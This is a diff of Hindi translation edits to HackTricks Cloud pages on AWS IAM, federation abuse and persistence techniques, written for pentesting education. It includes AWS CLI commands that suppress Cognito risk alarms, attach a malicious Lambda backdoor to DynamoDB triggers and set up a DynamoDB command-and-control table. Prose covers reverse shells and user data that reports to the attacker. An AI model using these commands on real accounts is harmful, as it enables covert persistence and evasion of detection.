+इस विश्वास को कॉन्फ़िगर करने के लिए, एक **IAM पहचान प्रदाता उत्पन्न किया जाता है (SAML या OAuth)** जो **अन्य प्लेटफ़ॉर्म** पर **विश्वास करेगा**। फिर, कम से कम एक **IAM भूमिका (विश्वास करने वाली) पहचान प्रदाता को सौंपा जाता है**। यदि विश्वसनीय प्लेटफ़ॉर्म से कोई उपयोगकर्ता AWS तक पहुँचता है, तो वह उल्लेखित भूमिका के रूप में पहुँच रहा होगा।
-हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका ग्रहण करने की अनुमति देगा।
+हालांकि, आप आमतौर पर **उपयोगकर्ता के समूह के आधार पर एक अलग भूमिका देना चाहेंगे** तीसरे पक्ष के प्लेटफ़ॉर्म में। फिर, कई **IAM भूमिकाएँ तीसरे पक्ष के पहचान प्रदाता पर विश्वास कर सकती हैं** और तीसरा पक्ष का प्लेटफ़ॉर्म उपयोगकर्ताओं को एक भूमिका या दूसरी भूमिका को मानने की अनुमति देगा।
@@ -259,14 +259,14 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
#### AwsSSOInlinePolicy
-यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इनलाइन नीति में **`AwsSSOInlinePolicy`** के रूप में ये अनुमतियाँ होंगी।
+यह संभव है कि **IAM पहचान केंद्र के माध्यम से बनाई गई भूमिकाओं को इनलाइन नीतियों के माध्यम से अनुमतियाँ दी जाएं**। उन खातों में बनाई गई भूमिकाएँ जिन्हें **AWS पहचान केंद्र में इनलाइन नीतियाँ दी गई हैं** इन अनुमतियों को **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति में रखेंगे।
-इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **यह नहीं दर्शाता कि इसकी समान अनुमतियाँ हैं**।
+इसलिए, भले ही आप **`AwsSSOInlinePolicy`** नामक एक इनलाइन नीति के साथ 2 भूमिकाएँ देखें, यह **मतलब नहीं है कि इसकी समान अनुमतियाँ हैं**।
### क्रॉस खाता विश्वास और भूमिकाएँ
-**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके पास हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके पास है और एक तीसरे पक्ष के AWS खाते के बीच।\
-यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
+**एक उपयोगकर्ता** (विश्वास करने वाला) कुछ नीतियों के साथ एक क्रॉस खाता भूमिका बना सकता है और फिर, **दूसरे उपयोगकर्ता** (विश्वासित) को **अपने खाते तक पहुँचने की अनुमति दे सकता है** लेकिन केवल **नई भूमिका नीतियों में निर्दिष्ट पहुँच के साथ**। इसे बनाने के लिए, बस एक नई भूमिका बनाएँ और क्रॉस खाता भूमिका का चयन करें। क्रॉस-खाता पहुँच के लिए भूमिकाएँ दो विकल्प प्रदान करती हैं। उन AWS खातों के बीच पहुँच प्रदान करना जो आपके हैं, और एक खाते के बीच पहुँच प्रदान करना जो आपके हैं और एक तीसरे पक्ष के AWS खाते के बीच।\
+यह अनुशंसा की जाती है कि **विश्वासित उपयोगकर्ता को निर्दिष्ट करें और कुछ सामान्य चीज़ें न डालें** क्योंकि यदि नहीं, तो अन्य प्रमाणित उपयोगकर्ता जैसे संघीय उपयोगकर्ता भी इस विश्वास का दुरुपयोग कर सकेंगे।
### AWS सरल AD
@@ -286,14 +286,14 @@ AWS IAM पहचान केंद्र (AWS सिंगल साइन-ऑ
### अन्य IAM विकल्प
-- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को सेट कर सकते हैं।
+- आप **पासवर्ड नीति सेटिंग** विकल्प जैसे न्यूनतम लंबाई और पासवर्ड आवश्यकताओं को **सेट कर सकते हैं**।
- आप **"क्रेडेंशियल रिपोर्ट" डाउनलोड कर सकते हैं** जिसमें वर्तमान क्रेडेंशियल्स के बारे में जानकारी होती है (जैसे उपयोगकर्ता निर्माण समय, क्या पासवर्ड सक्षम है...)। आप एक क्रेडेंशियल रिपोर्ट हर **चार घंटे** में एक बार उत्पन्न कर सकते हैं।
AWS पहचान और पहुँच प्रबंधन (IAM) **AWS के सभी क्षेत्रों में बारीक पहुँच नियंत्रण** प्रदान करता है। IAM के साथ, आप निर्दिष्ट कर सकते हैं **कौन कौन सी सेवाओं और संसाधनों तक पहुँच सकता है**, और किन शर्तों के तहत। IAM नीतियों के साथ, आप अपनी कार्यबल और प्रणालियों के लिए अनुमतियों का प्रबंधन करते हैं ताकि **कम से कम विशेषाधिकार अनुमतियाँ सुनिश्चित की जा सकें**।
### IAM ID उपसर्ग
-[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के **IAM ID उपसर्ग** उनकी प्रकृति के अनुसार पा सकते हैं:
+[**इस पृष्ठ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) पर आप कुंजियों के उपसर्गों को उनकी प्रकृति के आधार पर पा सकते हैं:
| ABIA | [AWS STS सेवा धारक टोकन](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -326,9 +326,9 @@ AWS पहचान और पहुँच प्रबंधन (IAM) **AWS क
### CLI प्रमाणीकरण
-एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए **स्थानीय क्रेडेंशियल्स** होना आवश्यक है। डिफ़ॉल्ट रूप से, आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\
+एक नियमित उपयोगकर्ता को CLI के माध्यम से AWS में प्रमाणीकरण करने के लिए आपको **स्थानीय क्रेडेंशियल्स** की आवश्यकता होती है। डिफ़ॉल्ट रूप से आप उन्हें **हाथ से** `~/.aws/credentials` में कॉन्फ़िगर कर सकते हैं या **चलाकर** `aws configure`।\
उस फ़ाइल में आपके पास एक से अधिक प्रोफ़ाइल हो सकती हैं, यदि **कोई प्रोफ़ाइल** निर्दिष्ट नहीं की गई है तो **aws cli** का उपयोग करते समय, उस फ़ाइल में **`[default]`** नामक प्रोफ़ाइल का उपयोग किया जाएगा।\
-एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल फ़ाइल का उदाहरण:
+एक से अधिक प्रोफ़ाइल के साथ क्रेडेंशियल्स फ़ाइल का उदाहरण:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -339,7 +339,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
-यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के अंदर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की।
+यदि आपको **विभिन्न AWS खातों** तक पहुँचने की आवश्यकता है और आपके प्रोफ़ाइल को **उन खातों के भीतर एक भूमिका ग्रहण करने** की अनुमति दी गई है, तो आपको हर बार मैन्युअल रूप से STS को कॉल करने की आवश्यकता नहीं है (`aws sts assume-role --role-arn --role-session-name sessname`) और क्रेडेंशियल्स को कॉन्फ़िगर करने की आवश्यकता नहीं है।
आप `~/.aws/config` फ़ाइल का उपयोग कर सकते हैं[ **यह इंगित करने के लिए कि कौन सी भूमिकाएँ ग्रहण करनी हैं**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), और फिर सामान्य रूप से `--profile` पैरामीटर का उपयोग करें (भूमिका ग्रहण करना उपयोगकर्ता के लिए पारदर्शी तरीके से किया जाएगा)।\
एक कॉन्फ़िग फ़ाइल का उदाहरण:
@@ -355,7 +355,7 @@ sts_regional_endpoints = regional
```
aws --profile acc2 ...
```
-यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **एक्सटेंशन** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
+यदि आप इसके लिए कुछ **समान** खोज रहे हैं लेकिन **ब्राउज़र** के लिए, तो आप **विस्तार** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en) देख सकते हैं।
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
index 42dbbfc67..30b97bdc1 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -10,17 +10,17 @@ SAML के बारे में जानकारी के लिए कृ
https://book.hacktricks.xyz/pentesting-web/saml-attacks
{{#endref}}
-**SAML** के माध्यम से **Identity Federation** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **metadata XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**endpoints**, **certificate** जिसमें सार्वजनिक कुंजी है) शामिल हैं।
+**SAML के माध्यम से एक पहचान संघ** को कॉन्फ़िगर करने के लिए आपको केवल एक **नाम** और **मेटाडेटा XML** प्रदान करने की आवश्यकता है जिसमें सभी SAML कॉन्फ़िगरेशन (**एंडपॉइंट्स**, **सार्वजनिक कुंजी के साथ प्रमाणपत्र**) शामिल हैं।
## OIDC - Github Actions Abuse
-एक github action को Identity provider के रूप में जोड़ने के लिए:
+एक github क्रिया को पहचान प्रदाता के रूप में जोड़ने के लिए:
1. _Provider type_ के लिए, **OpenID Connect** चुनें।
2. _Provider URL_ के लिए, `https://token.actions.githubusercontent.com` दर्ज करें।
-3. प्रदाता का थंबप्रिंट प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें।
+3. प्रदाता के थंबप्रिंट को प्राप्त करने के लिए _Get thumbprint_ पर क्लिक करें।
4. _Audience_ के लिए, `sts.amazonaws.com` दर्ज करें।
-5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github action को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे:
+5. एक **नया भूमिका** बनाएं जिसमें **permissions** हों जो github क्रिया को चाहिए और एक **trust policy** जो प्रदाता पर भरोसा करती हो जैसे:
- ```json
{
"Version": "2012-10-17",
@@ -44,9 +44,9 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
]
}
```
-6. पिछले नीति में ध्यान दें कि केवल एक **branch** को **repository** के **organization** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था।
-7. **role** का **ARN** जिसे github action **impersonate** करने में सक्षम होगा, वह "secret" होगा जिसे github action को जानने की आवश्यकता है, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें।
-8. अंत में, AWS creds को कॉन्फ़िगर करने के लिए एक github action का उपयोग करें जो workflow द्वारा उपयोग किया जाएगा:
+6. पिछले नीति में ध्यान दें कि केवल एक **branch** को एक **organization** के **repository** से एक विशिष्ट **trigger** के साथ अधिकृत किया गया था।
+7. **ARN** उस **role** का होगा जिसे github क्रिया **impersonate** कर सकेगी, इसलिए इसे एक **secret** के अंदर एक **environment** में **store** करें।
+8. अंत में, कार्यप्रवाह द्वारा उपयोग किए जाने वाले AWS creds को कॉन्फ़िगर करने के लिए एक github क्रिया का उपयोग करें:
```yaml
name: "test AWS Access"
@@ -108,7 +108,7 @@ eksctl utils associate-iam-oidc-provider --cluster Testing --approve
]
}
```
-यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **कोई भी सेवा खाता जिसमें एक वेब पहचान टोकन है** वह भूमिका ग्रहण करने में **सक्षम होगा**।
+यह नीति सही ढंग से संकेत कर रही है कि **केवल** **EKS क्लस्टर** जिसका **id** `20C159CDF6F2349B68846BEC03BE031B` है, वह भूमिका ग्रहण कर सकता है। हालाँकि, यह यह नहीं बता रहा है कि कौन सी सेवा खाता इसे ग्रहण कर सकता है, जिसका अर्थ है कि **किसी भी सेवा खाते के पास एक वेब पहचान टोकन** होने पर वह भूमिका ग्रहण करने में **सक्षम** होगा।
**जिस सेवा खाते को भूमिका ग्रहण करने में सक्षम होना चाहिए,** उसे निर्दिष्ट करने के लिए, एक **शर्त** निर्दिष्ट करना आवश्यक है जहाँ **सेवा खाता नाम निर्दिष्ट किया गया है**, जैसे:
```bash
diff --git a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
index 26933b4e1..6bbbe8e13 100644
--- a/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
+++ b/src/pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए जिन्हें आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें:
+ये वे अनुमतियाँ हैं जो आपको प्रत्येक AWS खाते पर चाहिए होती हैं जिसे आप ऑडिट करना चाहते हैं ताकि आप सभी प्रस्तावित AWS ऑडिट टूल चला सकें:
- डिफ़ॉल्ट नीति **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review) चलाने के लिए आपको निम्नलिखित अनुमतियों की भी आवश्यकता है:
@@ -10,8 +10,8 @@
- **access-analyzer:Get\***
- **iam:CreateServiceLinkedRole**
- **access-analyzer:CreateAnalyzer**
-- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
+- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र उत्पन्न करता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
- **access-analyzer:DeleteAnalyzer**
-- वैकल्पिक यदि ग्राहक आपके लिए विश्लेषक हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
+- वैकल्पिक यदि क्लाइंट आपके लिए एनालाइज़र हटा देता है, लेकिन आमतौर पर इस अनुमति के लिए बस पूछना आसान होता है)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
index 61262b97b..e28e30238 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md
@@ -14,12 +14,12 @@
Cognito एक सेवा है जो अनधिकृत और अधिकृत उपयोगकर्ताओं को भूमिकाएँ देने और उपयोगकर्ताओं के एक निर्देशिका को नियंत्रित करने की अनुमति देती है। कुछ स्थिरता बनाए रखने के लिए कई विभिन्न कॉन्फ़िगरेशन को बदला जा सकता है, जैसे:
-- **एक उपयोगकर्ता पूल** जिसे उपयोगकर्ता द्वारा नियंत्रित किया जाता है, को एक पहचान पूल में जोड़ना
-- एक **IAM भूमिका को अनधिकृत पहचान पूल को देना और बेसिक ऑथ फ्लो की अनुमति देना**
-- या एक **अधिकृत पहचान पूल** में यदि हमलावर लॉगिन कर सकता है
+- **एक User Pool जोड़ना** जिसे एक Identity Pool में उपयोगकर्ता द्वारा नियंत्रित किया जाता है
+- एक **IAM भूमिका देना** एक अनधिकृत Identity Pool को और Basic auth flow की अनुमति देना
+- या एक **अधिकृत Identity Pool** को यदि हमलावर लॉगिन कर सकता है
- या दिए गए भूमिकाओं के **अनुमतियों में सुधार करना**
-- **विशेषताएँ नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से बनाना, सत्यापित करना और प्रिवेस्क करना** एक **उपयोगकर्ता पूल** में
-- **बाहरी पहचान प्रदाताओं** को एक उपयोगकर्ता पूल या एक पहचान पूल में लॉगिन करने की अनुमति देना
+- **Attributes नियंत्रित उपयोगकर्ताओं या नए उपयोगकर्ताओं के माध्यम से Create, verify & privesc** एक **User Pool** में
+- **बाहरी Identity Providers को** एक User Pool या एक Identity Pool में लॉगिन करने की अनुमति देना
इन क्रियाओं को कैसे करना है, यह देखें
@@ -29,11 +29,11 @@ Cognito एक सेवा है जो अनधिकृत और अधि
### `cognito-idp:SetRiskConfiguration`
-इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI देखें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
+इस विशेषता के साथ एक हमलावर जोखिम कॉन्फ़िगरेशन को संशोधित कर सकता है ताकि वह एक Cognito उपयोगकर्ता के रूप में लॉगिन कर सके **बिना अलार्म ट्रिगर किए**। [**CLI की जांच करें**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) सभी विकल्पों की जांच करने के लिए:
```bash
aws cognito-idp set-risk-configuration --user-pool-id --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
```
-डिफ़ॉल्ट रूप से यह अक्षम है:
+डिफ़ॉल्ट रूप से यह अक्षम है:
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index cc41e14a3..39753a620 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@
### DynamoDB ट्रिगर्स के साथ Lambda बैकडोर
-DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब कोई आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
+DynamoDB ट्रिगर्स का उपयोग करके, एक हमलावर एक **गुप्त बैकडोर** बना सकता है, एक तालिका के साथ एक दुर्भावनापूर्ण Lambda फ़ंक्शन को जोड़कर। Lambda फ़ंक्शन तब सक्रिय हो सकता है जब एक आइटम जोड़ा, संशोधित या हटाया जाता है, जिससे हमलावर को AWS खाते के भीतर मनचाहा कोड निष्पादित करने की अनुमति मिलती है।
```bash
# Create a malicious Lambda function
aws lambda create-function \
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
--event-source \
--region
```
-To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
+धारण बनाए रखने के लिए, हमलावर DynamoDB तालिका में आइटम बना या संशोधित कर सकता है, जो दुर्भावनापूर्ण Lambda फ़ंक्शन को ट्रिगर करेगा। इससे हमलावर को Lambda फ़ंक्शन के साथ सीधे इंटरैक्शन के बिना AWS खाते के भीतर कोड निष्पादित करने की अनुमति मिलती है।
-### DynamoDB as a C2 Channel
+### DynamoDB को C2 चैनल के रूप में
-An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
+एक हमलावर DynamoDB तालिका का **कमांड और नियंत्रण (C2) चैनल** के रूप में उपयोग कर सकता है, आइटम बनाकर जिनमें कमांड होते हैं और समझौता किए गए उदाहरणों या Lambda फ़ंक्शंस का उपयोग करके इन कमांड को लाने और निष्पादित करने के लिए।
```bash
# Create a DynamoDB table for C2
aws dynamodb create-table \
@@ -54,6 +54,6 @@ aws dynamodb put-item \
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
--region
```
-संपर्कित उदाहरण या लैम्ब्डा फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को संपर्कित संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
+समझौता किए गए उदाहरण या Lambda फ़ंक्शन समय-समय पर C2 तालिका में नए आदेशों की जांच कर सकते हैं, उन्हें निष्पादित कर सकते हैं, और वैकल्पिक रूप से परिणामों को तालिका में वापस रिपोर्ट कर सकते हैं। यह हमलावर को समझौता किए गए संसाधनों पर स्थायीता और नियंत्रण बनाए रखने की अनुमति देता है।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 78978da49..e5d71a6f5 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -14,20 +14,20 @@
यदि एक रक्षक पाता है कि एक **EC2 उदाहरण से समझौता किया गया था**, तो वह शायद **नेटवर्क** को **आइसोलेट** करने की कोशिश करेगा। वह एक स्पष्ट **Deny NACL** के साथ ऐसा कर सकता है (लेकिन NACLs पूरे सबनेट को प्रभावित करते हैं), या **सुरक्षा समूह को बदलकर** **किसी भी प्रकार के इनबाउंड या आउटबाउंड** ट्रैफ़िक की अनुमति नहीं देता।
-यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** था, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को नहीं मारा जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**।**
+यदि हमलावर के पास **मशीन से उत्पन्न एक रिवर्स शेल** है, तो भले ही SG को इनबाउंड या आउटबाउंड ट्रैफ़िक की अनुमति नहीं देने के लिए संशोधित किया गया हो, **कनेक्शन को समाप्त नहीं किया जाएगा** [**सुरक्षा समूह कनेक्शन ट्रैकिंग**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)** के कारण।**
### EC2 जीवनचक्र प्रबंधक
यह सेवा **AMIs और स्नैपशॉट्स** के **निर्माण को शेड्यूल** करने की अनुमति देती है और यहां तक कि **उन्हें अन्य खातों के साथ साझा** भी कर सकती है।\
-एक हमलावर **हर सप्ताह सभी छवियों या सभी वॉल्यूम्स के AMIs या स्नैपशॉट्स** का **उत्पादन** कॉन्फ़िगर कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
+एक हमलावर **हर सप्ताह** सभी छवियों या सभी वॉल्यूम के **AMIs या स्नैपशॉट्स** के **उत्पादन को कॉन्फ़िगर** कर सकता है और **उन्हें अपने खाते के साथ साझा** कर सकता है।
### अनुसूचित उदाहरण
-यह दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से उदाहरणों को चलाने के लिए शेड्यूल करना संभव है। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
+यह संभव है कि उदाहरणों को दैनिक, साप्ताहिक या यहां तक कि मासिक रूप से चलाने के लिए शेड्यूल किया जाए। एक हमलावर एक मशीन चला सकता है जिसमें उच्च विशेषाधिकार या दिलचस्प पहुंच हो जहां वह पहुंच सकता है।
### स्पॉट फ़्लीट अनुरोध
-स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष के लिए एक छोटा स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
+स्पॉट उदाहरण **सामान्य उदाहरणों** की तुलना में **सस्ते** होते हैं। एक हमलावर **5 वर्ष** के लिए एक **छोटी स्पॉट फ़्लीट अनुरोध** लॉन्च कर सकता है (उदाहरण के लिए), **स्वचालित IP** असाइनमेंट के साथ और एक **उपयोगकर्ता डेटा** जो हमलावर को **जब स्पॉट उदाहरण शुरू होता है** और **IP पता** भेजता है और एक **उच्च विशेषाधिकार IAM भूमिका** के साथ।
### बैकडोर उदाहरण
@@ -41,7 +41,7 @@
- उपयोग किए गए AMI को बैकडोर करें
- उपयोगकर्ता डेटा को बैकडोर करें
-- कुंजी जोड़ी को बैकडोर करें
+- की जोड़ी को बैकडोर करें
### VPN
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index d692fdafe..5eeb3ba5a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -12,7 +12,7 @@
### Hidden Docker Image with Malicious Code
-एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे कि Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
+एक हमलावर **एक ECR रिपॉजिटरी में दुर्भावनापूर्ण कोड वाला Docker इमेज अपलोड कर सकता है** और इसे लक्षित AWS खाते में स्थिरता बनाए रखने के लिए उपयोग कर सकता है। फिर हमलावर इस दुर्भावनापूर्ण इमेज को खाते के भीतर विभिन्न सेवाओं, जैसे Amazon ECS या EKS, में चुपचाप तैनात कर सकता है।
### Repository Policy
@@ -41,15 +41,15 @@ aws ecr set-repository-policy \
}
```
> [!WARNING]
-> ध्यान दें कि ECR को उपयोगकर्ताओं के पास **अनुमति** होनी चाहिए कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **तब तक जब तक वे एक रजिस्ट्री में प्रमाणित नहीं हो सकते** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल नहीं कर सकते।
+> ध्यान दें कि ECR को उपयोगकर्ताओं के लिए **अनुमति** की आवश्यकता होती है कि वे **`ecr:GetAuthorizationToken`** API को IAM नीति के माध्यम से कॉल कर सकें **इससे पहले कि वे किसी रजिस्ट्री में प्रमाणित हो सकें** और किसी भी Amazon ECR रिपॉजिटरी से कोई भी छवि पुश या पुल कर सकें।
-### रजिस्ट्री नीति और क्रॉस-खाता पुनरुत्पादन
+### रजिस्ट्री नीति और क्रॉस-खाता प्रतिकृति
-एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से पुनरुत्पादित करना संभव है, जहां आपको **बाहरी खाते** को इंगित करने की आवश्यकता है जहां आप रजिस्ट्री को पुनरुत्पादित करना चाहते हैं।
+एक बाहरी खाते में रजिस्ट्री को स्वचालित रूप से प्रतिकृत करना संभव है, जिसमें आपको क्रॉस-खाता प्रतिकृति को कॉन्फ़िगर करना होगा, जहाँ आपको **बाहरी खाते** को इंगित करना होगा जहाँ आप रजिस्ट्री को प्रतिकृत करना चाहते हैं।
-पहले, आपको बाहरी खाते को रजिस्ट्री पर पहुंच प्रदान करने की आवश्यकता है एक **रजिस्ट्री नीति** के साथ जैसे:
